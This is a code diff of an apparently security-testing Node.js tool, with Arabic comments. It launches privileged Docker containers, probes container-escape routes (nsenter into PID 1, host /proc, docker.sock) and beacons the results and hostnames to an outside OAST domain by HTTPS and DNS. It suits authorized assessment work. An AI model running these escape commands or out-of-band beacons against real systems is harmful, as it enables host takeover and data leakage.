- port: CONFIG.OAST.httpsPort,
494
- path: '/multi-container-escape',
495
- method: 'POST',
496
- headers: {
497
- 'Content-Type': 'application/json',
498
- 'X-Session-ID': CONFIG.OAST.sessionId,
499
- 'X-Container-ID': this.shortId,
500
- 'X-API-Key': CONFIG.OAST.apiKey,
501
- 'User-Agent': 'MultiContainerEscapeDetector/3.0'
502
- }
503
- }, (res) => {
504
- let body = '';
505
- res.on('data', chunk => body += chunk);
506
- res.on('end', () => {
507
- if (CONFIG.OUTPUT.verbose) {
508
- console.log(`📡 OAST report sent for ${this.shortId} (${res.statusCode})`);
509
- }
510
- });
545
+ // إرسال DNS notification للنتيجة
546
+ const resultType = this.evidence.escaped ? 'escape-confirmed' : 'no-escape';
547
+ this.oastReporter.sendDNS(resultType, {
548
+ confidence: this.evidence.confidence,
549
+ methods: this.evidence.methods.length
511
550
  });
512
551
 
513
- req.on('error', () => {});
514
- req.write(JSON.stringify({
515
- interactionId: interactionId,
516
- sessionId: CONFIG.OAST.sessionId,
517
- containerId: this.shortId,
518
- data: data
519
- }));
520
- req.end();
521
-
522
- // Also send DNS notification for critical escapes
523
- if (this.info.risk === 'critical') {
524
- const dnsName = `${this.shortId}-critical.${CONFIG.OAST.sessionId}.${CONFIG.OAST.domain}`;
525
- dns.lookup(dnsName, () => {});
526
- }
552
+ return report;
527
553
  }
528
554
 
529
- executeCommand(command) {
530
- return new Promise((resolve, reject) => {
531
- exec(command, { timeout: 5000 }, (error, stdout, stderr) => {
532
- if (error) {
533
- reject(error);
534
- } else {
535
- resolve(stdout.toString().trim());
536
- }
555
+ displayResults() {
556
+ console.log('\n' + '='.repeat(80));
557
+ console.log('📊 PRIVILEGED CONTAINER ANALYSIS RESULTS');
558
+ console.log('='.repeat(80));
559
+
560
+ console.log(`\n📦 Container ID: ${this.containerId ? this.containerId.substring(0, 12) : 'unknown'}`);
561
+ console.log(`📍 OAST Domain: ${CONFIG.OAST.domain}`);
562
+ console.log(`🔑 Session ID: ${CONFIG.OAST.sessionId}`);
563
+
564
+ console.log(`\n🎯 Escape Status: ${this.evidence.escaped ? '🚨 CONFIRMED' : '✅ NOT CONFIRMED'}`);
565
+ console.log(`📈 Confidence Level: ${this.evidence.confidence}%`);
566
+
567
+ if (this.evidence.methods.length > 0) {
568
+ console.log(`\n🔓 Possible Escape Methods:`);
569
+ this.evidence.methods.forEach((method, i) => {
570
+ console.log(` ${i + 1}. ${method}`);
537
571
  });
538
- });
539
- }
540
-
541
- updateStatistics() {
542
- STATE.statistics.scannedContainers++;
543
-
544
- if (this.info.escapeStatus === 'confirmed') {
545
- STATE.statistics.escapedContainers++;
546
- STATE.statistics.criticalEscapes++;
547
- } else if (this.info.escapeStatus === 'probable') {
548
- STATE.statistics.escapedContainers++;
549
- }
550
-
551
- if (this.info.vulnerabilities.length > 0) {
552
- STATE.statistics.vulnerableContainers++;
553
572
  }
554
- }
555
- }
556
-
557
- // ===================== MAIN SCANNER CLASS =====================
558
- class MultiContainerScanner {
559
- constructor() {
560
- this.scanners = [];
561
- this.results = [];
562
- }
563
-
564
- async discoverContainers() {
565
- console.log('🔎 Discovering containers...');
566
573
 
567
- try {
568
- // Get all running containers
569
- const cmd = 'docker ps -q --no-trunc';
570
- const output = await this.exec(cmd);
571
- const containerIds = output.split('\n').filter(id => id.trim());
572
-
573
- STATE.statistics.totalContainers = containerIds.length;
574
-
575
- if (containerIds.length === 0) {
576
- console.log('ℹ️ No running containers found.');
577
- return [];
578
- }
579
-
580
- console.log(`📦 Found ${containerIds.length} containers`);
581
- return containerIds;
582
- } catch (error) {
583
- console.error('❌ Failed to discover containers:', error.message);
584
- return [];
574
+ if (this.evidence.proofPoints.length > 0) {
575
+ console.log(`\n🎯 Evidence Found:`);
576
+ this.evidence.proofPoints.forEach((proof, i) => {
577
+ console.log(` ${i + 1}. ${proof}`);
578
+ });
585
579
  }
586
- }
587
-
588
- async scanContainers(containerIds) {
589
- console.log(`🚀 Starting scan of ${containerIds.length} containers...\n`);
590
-
591
- // Create scanners
592
- this.scanners = containerIds.map(id => new ContainerScanner(id));
593
580
 
594
- // Scan in batches to avoid overwhelming the system
595
- const batchSize = CONFIG.SCAN.parallelScans;
596
- for (let i = 0; i < this.scanners.length; i += batchSize) {
597
- const batch = this.scanners.slice(i, i + batchSize);
598
- console.log(`📊 Batch ${Math.floor(i/batchSize) + 1}: Scanning ${batch.length} containers...`);
599
-
600
- const batchPromises = batch.map(scanner =>
601
- scanner.scan().catch(error => {
602
- console.error(`Failed to scan ${scanner.shortId}:`, error.message);
603
- return scanner.info;
604
- })
605
- );
606
-
607
- const batchResults = await Promise.all(batchPromises);
608
- this.results.push(...batchResults);
609
-
610
- // Show progress
611
- const scanned = Math.min(i + batchSize, this.scanners.length);
612
- const percent = Math.round((scanned / this.scanners.length) * 100);
613
- console.log(`📈 Progress: ${scanned}/${this.scanners.length} (${percent}%)\n`);
581
+ if (this.evidence.hostInfo.hostname) {
582
+ console.log(`\n🖥️ Host Information:`);
583
+ console.log(` Hostname: ${this.evidence.hostInfo.hostname}`);
614
584
  }
615
585
 
616
- return this.results;
617
- }
618
-
619
- async generateReport() {
620
- console.log('\n' + '═'.repeat(80));
621
- console.log('📊 MULTI-CONTAINER ESCAPE SCAN REPORT');
622
- console.log('═'.repeat(80));
586
+ console.log(`\n📡 OAST Interactions: ${this.oastReporter.interactions.length} interactions sent`);
587
+ console.log(` DNS: ${this.oastReporter.interactions.filter(i => i.type === 'DNS').length}`);
588
+ console.log(` HTTPS: ${this.oastReporter.interactions.filter(i => i.type === 'HTTPS').length}`);
623
589
 
624
- const report = {
625
- metadata: {
626
- timestamp: new Date().toISOString(),
627
- sessionId: CONFIG.OAST.sessionId,
628
- scanDuration: Date.now() - STATE.startTime,
629
- config: CONFIG
630
- },
631
- statistics: STATE.statistics,
632
- oast: {
633
- domain: CONFIG.OAST.domain,
634
- interactions: STATE.oastInteractions.length,
635
- session: CONFIG.OAST.sessionId
636
- },
637
- containers: this.results,
638
- summary: this.generateSummary()
639
- };
640
-
641
- // Print summary
642
- this.printSummary(report.summary);
643
-
644
- // Save report if enabled
645
- if (CONFIG.OUTPUT.saveReports) {
646
- await this.saveReport(report);
647
- }
590
+ console.log('\n🔍 Check your OAST dashboard for detailed evidence:');
591
+ console.log(` Session ID: ${CONFIG.OAST.sessionId}`);
592
+ console.log(` Look for interactions at: ${CONFIG.OAST.domain}`);
648
593
 
649
- return report;
594
+ console.log('\n' + '='.repeat(80));
595
+ console.log('🎯 ANALYSIS COMPLETE');
596
+ console.log('='.repeat(80));
650
597
  }
651
598
 
652
- generateSummary() {
653
- const summary = {
654
- totalScanned: STATE.statistics.scannedContainers,
655
- escapedContainers: [],
656
- vulnerableContainers: [],
657
- criticalIssues: [],
658
- recommendations: []
659
- };
660
-
661
- this.results.forEach(container => {
662
- if (container.escapeStatus === 'confirmed' || container.escapeStatus === 'probable') {
663
- summary.escapedContainers.push({
664
- id: container.id.substring(0, 12),
665
- name: container.name,
666
- confidence: container.confidence,
667
- methods: container.methods,
668
- risk: container.risk
669
- });
670
- }
599
+ async cleanup() {
600
+ if (this.containerId) {
601
+ console.log('\n🧹 Cleaning up container...');
671
602
 
672
- if (container.vulnerabilities.length > 0) {
673
- summary.vulnerableContainers.push({
674
- id: container.id.substring(0, 12),
675
- name: container.name,
676
- vulnerabilities: container.vulnerabilities
677
- });
678
- }
679
-
680
- if (container.risk === 'critical') {
681
- summary.criticalIssues.push({
682
- id: container.id.substring(0, 12),
683
- name: container.name,
684
- evidence: container.evidence.slice(0, 3)
603
+ try {
604
+ await this.execOnHost(`docker stop ${this.containerId}`);
605
+ await this.execOnHost(`docker rm ${this.containerId}`);
606
+ console.log('✅ Container cleaned up');
607
+
608
+ // إرسال إشعار التنظيف إلى OAST
609
+ this.oastReporter.sendHTTPS('/cleanup', {
610
+ containerId: this.containerId.substring(0, 12),
611
+ action: 'container_removed'
685
612
  });
613
+ } catch (error) {
614
+ console.log(`⚠️ Could not clean up container: ${error.message}`);
686
615
  }
687
- });
688
-
689
- // Generate recommendations
690
- if (summary.escapedContainers.length > 0) {
691
- summary.recommendations.push(
692
- `Immediate action required: ${summary.escapedContainers.length} containers can escape to host`
693
- );
694
- }
695
-
696
- if (summary.criticalIssues.length > 0) {
697
- summary.recommendations.push(
698
- `Critical vulnerabilities found in ${summary.criticalIssues.length} containers`
699
- );
700
- }
701
-
702
- if (summary.vulnerableContainers.length > 0) {
703
- summary.recommendations.push(
704
- `Update kernel/software in ${summary.vulnerableContainers.length} containers`
705
- );
706
- }
707
-
708
- if (summary.escapedContainers.length === 0) {
709
- summary.recommendations.push('No critical escape vectors detected. Regular security maintenance recommended.');
710
- }
711
-
712
- return summary;
713
- }
714
-
715
- printSummary(summary) {
716
- console.log('\n📈 SCAN STATISTICS:');
717
- console.log(' Total containers scanned:', summary.totalScanned);
718
- console.log(' Containers that can escape:', summary.escapedContainers.length);
719
- console.log(' Vulnerable containers:', summary.vulnerableContainers.length);
720
- console.log(' Critical issues:', summary.criticalIssues.length);
721
-
722
- if (summary.escapedContainers.length > 0) {
723
- console.log('\n🚨 CRITICAL - CONTAINERS THAT CAN ESCAPE:');
724
- summary.escapedContainers.forEach((container, i) => {
725
- console.log(` ${i + 1}. ${container.name || container.id}`);
726
- console.log(` Confidence: ${container.confidence}% | Risk: ${container.risk.toUpperCase()}`);
727
- console.log(` Methods: ${container.methods.join(', ')}`);
728
- });
729
- }
730
-
731
- if (summary.criticalIssues.length > 0) {
732
- console.log('\n⚠️ CRITICAL VULNERABILITIES:');
733
- summary.criticalIssues.forEach((issue, i) => {
734
- console.log(` ${i + 1}. ${issue.name || issue.id}`);
735
- issue.evidence.forEach(ev => console.log(` - ${ev}`));
736
- });
737
- }
738
-
739
- console.log('\n💡 RECOMMENDATIONS:');
740
- summary.recommendations.forEach((rec, i) => {
741
- console.log(` ${i + 1}. ${rec}`);
742
- });
743
-
744
- console.log('\n📡 OAST REPORTING:');
745
- console.log(` Domain: ${CONFIG.OAST.domain}`);
746
- console.log(` Session ID: ${CONFIG.OAST.sessionId}`);
747
- console.log(` Interactions sent: ${STATE.oastInteractions.length}`);
748
- console.log(` Check OAST for detailed evidence: https://oastify.com`);
749
-
750
- console.log('\n' + '═'.repeat(80));
751
- console.log('🎯 SCAN COMPLETE');
752
-
753
- if (summary.escapedContainers.length > 0) {
754
- console.log('🚨 SECURITY ALERT: Container escape vectors detected!');
755
- console.log('🔒 Immediate remediation required.');
756
- } else {
757
- console.log('✅ No critical escape vectors detected.');
758
- console.log('🛡️ Regular security monitoring recommended.');
759
616
  }
760
-
761
- console.log('═'.repeat(80));
762
617
  }
763
618
 
764
- async saveReport(report) {
765
- const timestamp = new Date().toISOString().replace(/[:.]/g, '-');
766
- const filename = `multi-container-scan-${timestamp}.json`;
767
-
768
- try {
769
- fs.writeFileSync(filename, JSON.stringify(report, null, 2));
770
- console.log(`\n💾 Full report saved to: ${filename}`);
771
-
772
- // Also save a summary file
773
- const summaryFilename = `scan-summary-${timestamp}.txt`;
774
- let summaryText = `MULTI-CONTAINER ESCAPE SCAN SUMMARY\n`;
775
- summaryText += `Date: ${new Date().toLocaleString()}\n`;
776
- summaryText += `Session ID: ${CONFIG.OAST.sessionId}\n\n`;
777
-
778
- summaryText += `STATISTICS:\n`;
779
- summaryText += ` Total containers: ${report.statistics.totalContainers}\n`;
780
- summaryText += ` Escaped containers: ${report.summary.escapedContainers.length}\n`;
781
- summaryText += ` Critical issues: ${report.summary.criticalIssues.length}\n\n`;
782
-
783
- if (report.summary.escapedContainers.length > 0) {
784
- summaryText += `CRITICAL CONTAINERS:\n`;
785
- report.summary.escapedContainers.forEach(container => {
786
- summaryText += ` - ${container.name || container.id} (${container.confidence}%)\n`;
787
- });
788
- summaryText += '\n';
619
+ execInContainer(command) {
620
+ return new Promise((resolve, reject) => {
621
+ if (!this.containerId) {
622
+ reject(new Error('No container running'));
623
+ return;
789
624
  }
790
625
 
791
- summaryText += `OAST DETAILS:\n`;
792
- summaryText += ` Domain: ${CONFIG.OAST.domain}\n`;
793
- summaryText += ` Session: ${CONFIG.OAST.sessionId}\n`;
794
- summaryText += ` Interactions: ${STATE.oastInteractions.length}\n`;
795
-
796
- fs.writeFileSync(summaryFilename, summaryText);
797
- console.log(`📝 Summary saved to: ${summaryFilename}`);
798
-
799
- } catch (error) {
800
- console.error('❌ Failed to save report:', error.message);
801
- }
626
+ exec(`docker exec ${this.containerId} sh -c "${command.replace(/"/g, '\\"')}"`,
627
+ { timeout: 10000 },
628
+ (error, stdout, stderr) => {
629
+ if (error) {
630
+ reject(error);
631
+ } else {
632
+ resolve(stdout || stderr || '');
633
+ }
634
+ }
635
+ );
636
+ });
802
637
  }
803
638
 
804
- exec(command) {
639
+ execOnHost(command) {
805
640
  return new Promise((resolve, reject) => {
806
641
  exec(command, { timeout: 10000 }, (error, stdout, stderr) => {
807
642
  if (error) {
808
643
  reject(error);
809
644
  } else {
810
- resolve(stdout.toString().trim());
645
+ resolve(stdout);
811
646
  }
812
647
  });
813
648
  });
814
649
  }
815
650
  }
816
651
 
817
- // ===================== MAIN EXECUTION =====================
818
- async function main() {
819
- console.log('🚀 Starting Multi-Container Escape Scanner...\n');
820
- console.log('⚙️ Configuration:');
821
- console.log(` OAST Domain: ${CONFIG.OAST.domain}`);
822
- console.log(` Session ID: ${CONFIG.OAST.sessionId}`);
823
- console.log(` Parallel scans: ${CONFIG.SCAN.parallelScans}`);
824
- console.log(` Deep scan: ${CONFIG.SCAN.deepScan ? 'Yes' : 'No'}`);
652
+ // ===================== SIMPLE VERSION =====================
653
+ function runSimplePrivilegedWithOAST() {
654
+ console.log('🚀 Running simple privileged container with OAST reporting...\n');
825
655
 
826
- // Initial OAST ping
827
- console.log('\n📡 Sending initial OAST ping...');
828
- try {
829
- const req = https.request({
656
+ const containerName = `simple-priv-${Date.now()}`;
657
+ const sessionId = `simple-${Date.now()}-${crypto.randomBytes(4).toString('hex')}`;
658
+
659
+ // إرسال بداية الجلسة
660
+ const startReq = https.request({
661
+ hostname: CONFIG.OAST.domain,
662
+ port: CONFIG.OAST.httpsPort,
663
+ path: '/simple-start',
664
+ method: 'POST',
665
+ headers: {
666
+ 'Content-Type': 'application/json',
667
+ 'X-Session-ID': sessionId
668
+ }
669
+ });
670
+
671
+ startReq.write(JSON.stringify({
672
+ action: 'simple_container_start',
673
+ containerName: containerName,
674
+ timestamp: new Date().toISOString()
675
+ }));
676
+ startReq.end();
677
+
678
+ // تشغيل الحاوية
679
+ const dockerArgs = [
680
+ 'run',
681
+ '--privileged',
682
+ '--name', containerName,
683
+ '--rm',
684
+ CONFIG.DOCKER.image,
685
+ 'sh', '-c',
686
+ `
687
+ echo "=== PRIVILEGED CONTAINER STARTED ==="
688
+ echo "Session: ${sessionId}"
689
+ echo "Hostname: $(hostname)"
690
+ echo "User: $(whoami)"
691
+ echo "=== TESTING ESCAPE ==="
692
+
693
+ # Test nsenter
694
+ which nsenter && echo "nsenter: AVAILABLE" || echo "nsenter: NOT_AVAILABLE"
695
+
696
+ # Test host access
697
+ cat /proc/1/status 2>/dev/null | head -2 && echo "Host proc: ACCESSIBLE" || echo "Host proc: NO_ACCESS"
698
+
699
+ # Send DNS notification
700
+ nslookup ${sessionId}.simple-test.${CONFIG.OAST.domain} 2>/dev/null || echo "DNS test"
701
+
702
+ echo "=== CONTAINER COMPLETE ==="
703
+ `
704
+ ];
705
+
706
+ console.log(`Running: docker ${dockerArgs.join(' ')}`);
707
+
708
+ const dockerProcess = spawn('docker', dockerArgs, { stdio: 'inherit' });
709
+
710
+ dockerProcess.on('close', (code) => {
711
+ console.log(`\n✅ Container exited with code: ${code}`);
712
+
713
+ // إرسال إشعار الانتهاء
714
+ const endReq = https.request({
830
715
  hostname: CONFIG.OAST.domain,
831
716
  port: CONFIG.OAST.httpsPort,
832
- path: '/scan-start',
717
+ path: '/simple-end',
833
718
  method: 'POST',
834
719
  headers: {
835
720
  'Content-Type': 'application/json',
836
- 'X-Session-ID': CONFIG.OAST.sessionId
721
+ 'X-Session-ID': sessionId
837
722
  }
838
723
  });
839
724
 
840
- req.write(JSON.stringify({
841
- action: 'scan_start',
842
- timestamp: new Date().toISOString(),
843
- config: {
844
- parallelScans: CONFIG.SCAN.parallelScans,
845
- maxContainers: CONFIG.SCAN.maxContainers
846
- }
725
+ endReq.write(JSON.stringify({
726
+ action: 'simple_container_end',
727
+ exitCode: code,
728
+ timestamp: new Date().toISOString()
847
729
  }));
848
- req.end();
849
- } catch (e) {}
730
+ endReq.end();
731
+
732
+ console.log(`\n📡 Check OAST for interactions: ${CONFIG.OAST.domain}`);
733
+ console.log(`🔑 Session ID: ${sessionId}`);
734
+ });
735
+ }
736
+
737
+ // ===================== INTERACTIVE VERSION =====================
738
+ function runInteractivePrivileged() {
739
+ console.log('🚀 Running interactive privileged container...\n');
740
+ console.log(`📡 OAST Domain: ${CONFIG.OAST.domain}`);
741
+ console.log(`🔑 Session ID: ${CONFIG.OAST.sessionId}\n`);
850
742
 
851
- // Create scanner and run
852
- const scanner = new MultiContainerScanner();
743
+ // إرسال إشعار البدء
744
+ const req = https.request({
745
+ hostname: CONFIG.OAST.domain,
746
+ port: CONFIG.OAST.httpsPort,
747
+ path: '/interactive-start',
748
+ method: 'POST',
749
+ headers: {
750
+ 'Content-Type': 'application/json',
751
+ 'X-Session-ID': CONFIG.OAST.sessionId
752
+ }
753
+ });
754
+
755
+ req.write(JSON.stringify({
756
+ action: 'interactive_container_start',
757
+ timestamp: new Date().toISOString(),
758
+ command: 'docker run --privileged -it ubuntu:latest /bin/bash'
759
+ }));
760
+ req.end();
761
+
762
+ // تشغيل الحاوية التفاعلية
763
+ console.log('💻 Starting interactive bash session...');
764
+ console.log(' You can test commands manually.');
765
+ console.log(' Try these commands to test escape:');
766
+ console.log(' - nsenter --target 1 --mount -- sh -c "hostname"');
767
+ console.log(' - cat /proc/1/status');
768
+ console.log(' - ls -la /var/run/docker.sock');
769
+ console.log(' - nslookup test.${CONFIG.OAST.sessionId}.${CONFIG.OAST.domain}\n');
770
+
771
+ const dockerProcess = spawn('docker', [
772
+ 'run',
773
+ '--privileged',
774
+ '-it',
775
+ '--name', `interactive-${CONFIG.OAST.sessionId}`,
776
+ CONFIG.DOCKER.image,
777
+ CONFIG.DOCKER.command
778
+ ], {
779
+ stdio: 'inherit'
780
+ });
853
781
 
854
- try {
855
- // Discover containers
856
- const containerIds = await scanner.discoverContainers();
782
+ dockerProcess.on('close', (code) => {
783
+ console.log(`\n🔚 Container exited with code: ${code}`);
857
784
 
858
- if (containerIds.length === 0) {
859
- console.log('No containers to scan. Exiting.');
860
- process.exit(0);
861
- }
785
+ // إرسال إشعار الانتهاء
786
+ const endReq = https.request({
787
+ hostname: CONFIG.OAST.domain,
788
+ port: CONFIG.OAST.httpsPort,
789
+ path: '/interactive-end',
790
+ method: 'POST',
791
+ headers: {
792
+ 'Content-Type': 'application/json',
793
+ 'X-Session-ID': CONFIG.OAST.sessionId
794
+ }
795
+ });
862
796
 
863
- // Scan containers
864
- const results = await scanner.scanContainers(containerIds);
797
+ endReq.write(JSON.stringify({
798
+ action: 'interactive_container_end',
799
+ exitCode: code,
800
+ timestamp: new Date().toISOString()
801
+ }));
802
+ endReq.end();
865
803
 
866
- // Generate report
867
- const report = await scanner.generateReport();
804
+ // تنظيف
805
+ exec(`docker rm interactive-${CONFIG.OAST.sessionId} 2>/dev/null || true`);
868
806
 
869
- // Send final report to OAST
870
- console.log('\n📡 Sending final report to OAST...');
871
- try {
872
- const finalReq = https.request({
873
- hostname: CONFIG.OAST.domain,
874
- port: CONFIG.OAST.httpsPort,
875
- path: '/scan-complete',
876
- method: 'POST',
877
- headers: {
878
- 'Content-Type': 'application/json',
879
- 'X-Session-ID': CONFIG.OAST.sessionId,
880
- 'X-Final-Report': 'true'
881
- }
882
- });
883
-
884
- finalReq.write(JSON.stringify({
885
- action: 'scan_complete',
886
- timestamp: new Date().toISOString(),
887
- statistics: report.statistics,
888
- summary: report.summary,
889
- sessionId: CONFIG.OAST.sessionId
890
- }));
891
-
892
- finalReq.end();
893
- console.log(' Final report sent to OAST.');
894
- } catch (e) {
895
- console.log('⚠️ Could not send final report to OAST (may be expected)');
896
- }
897
-
898
- // Exit with appropriate code
899
- if (report.summary.escapedContainers.length > 0) {
900
- console.log('\n⚠️ Exiting with warning code (containers can escape)');
901
- process.exit(2);
902
- } else {
903
- console.log('\n✅ Scan completed successfully.');
904
- process.exit(0);
807
+ console.log(`\n📡 Check OAST interactions at: ${CONFIG.OAST.domain}`);
808
+ console.log(`🔑 Use Session ID: ${CONFIG.OAST.sessionId}`);
809
+ });
810
+
811
+ // التعامل مع Ctrl+C
812
+ process.on('SIGINT', () => {
813
+ console.log('\n\n⚠️ Received Ctrl+C, cleaning up...');
814
+ dockerProcess.kill('SIGINT');
815
+ });
816
+ }
817
+
818
+ // ===================== MAIN FUNCTION =====================
819
+ async function main() {
820
+ console.log('🎯 Choose scanning method:');
821
+ console.log(' 1. Full analysis with automated scanning and OAST reporting');
822
+ console.log(' 2. Simple container with basic OAST reporting');
823
+ console.log(' 3. Interactive privileged container (docker run --privileged -it ubuntu:latest /bin/bash)');
824
+ console.log(' 4. Exit');
825
+
826
+ const readline = require('readline').createInterface({
827
+ input: process.stdin,
828
+ output: process.stdout
829
+ });
830
+
831
+ readline.question('\nSelect option: ', async (choice) => {
832
+ readline.close();
833
+
834
+ switch(choice.trim()) {
835
+ case '1':
836
+ const scanner = new PrivilegedContainerScanner();
837
+ await scanner.run();
838
+ break;
839
+
840
+ case '2':
841
+ runSimplePrivilegedWithOAST();
842
+ break;
843
+
844
+ case '3':
845
+ runInteractivePrivileged();
846
+ break;
847
+
848
+ default:
849
+ console.log('👋 Exiting');
850
+ process.exit(0);
905
851
  }
906
-
907
- } catch (error) {
908
- console.error('\n❌ Scan failed:', error.message);
909
- process.exit(1);
910
- }
852
+ });
911
853
  }
912
854
 
913
- // ===================== EXECUTE =====================
855
+ // ===================== CHECK DOCKER =====================
914
856
  if (require.main === module) {
915
- // Check if Docker is available
857
+ // التحقق من Docker
916
858
  exec('which docker', (error) => {
917
859
  if (error) {
918
- console.error('❌ Docker is not available or not in PATH.');
919
- console.error(' This tool requires Docker to be installed and accessible.');
860
+ console.error('❌ Docker is not installed or not in PATH');
920
861
  process.exit(1);
921
862
  }
922
863
 
923
- // Check if we have permission to run docker commands
924
864
  exec('docker ps', (error) => {
925
865
  if (error && error.message.includes('permission denied')) {
926
- console.error('❌ Permission denied for Docker commands.');
927
- console.error(' Try running with sudo or add your user to docker group.');
866
+ console.error('❌ Permission denied for Docker');
867
+ console.log(' Try: sudo usermod -aG docker $USER');
868
+ console.log(' Then logout and login again');
928
869
  process.exit(1);
929
870
  }
930
871
 
931
- // Start the scan
872
+ console.log(`✅ Docker is available`);
873
+ console.log(`📍 OAST Domain: ${CONFIG.OAST.domain}`);
874
+ console.log(`🔑 Session ID: ${CONFIG.OAST.sessionId}\n`);
875
+
876
+ // بدء البرنامج
932
877
  main();
933
878
  });
934
879
  });
935
880
  }
936
881
 
937
- module.exports = { MultiContainerScanner, ContainerScanner };
882
+ module.exports = { PrivilegedContainerScanner, CONFIG };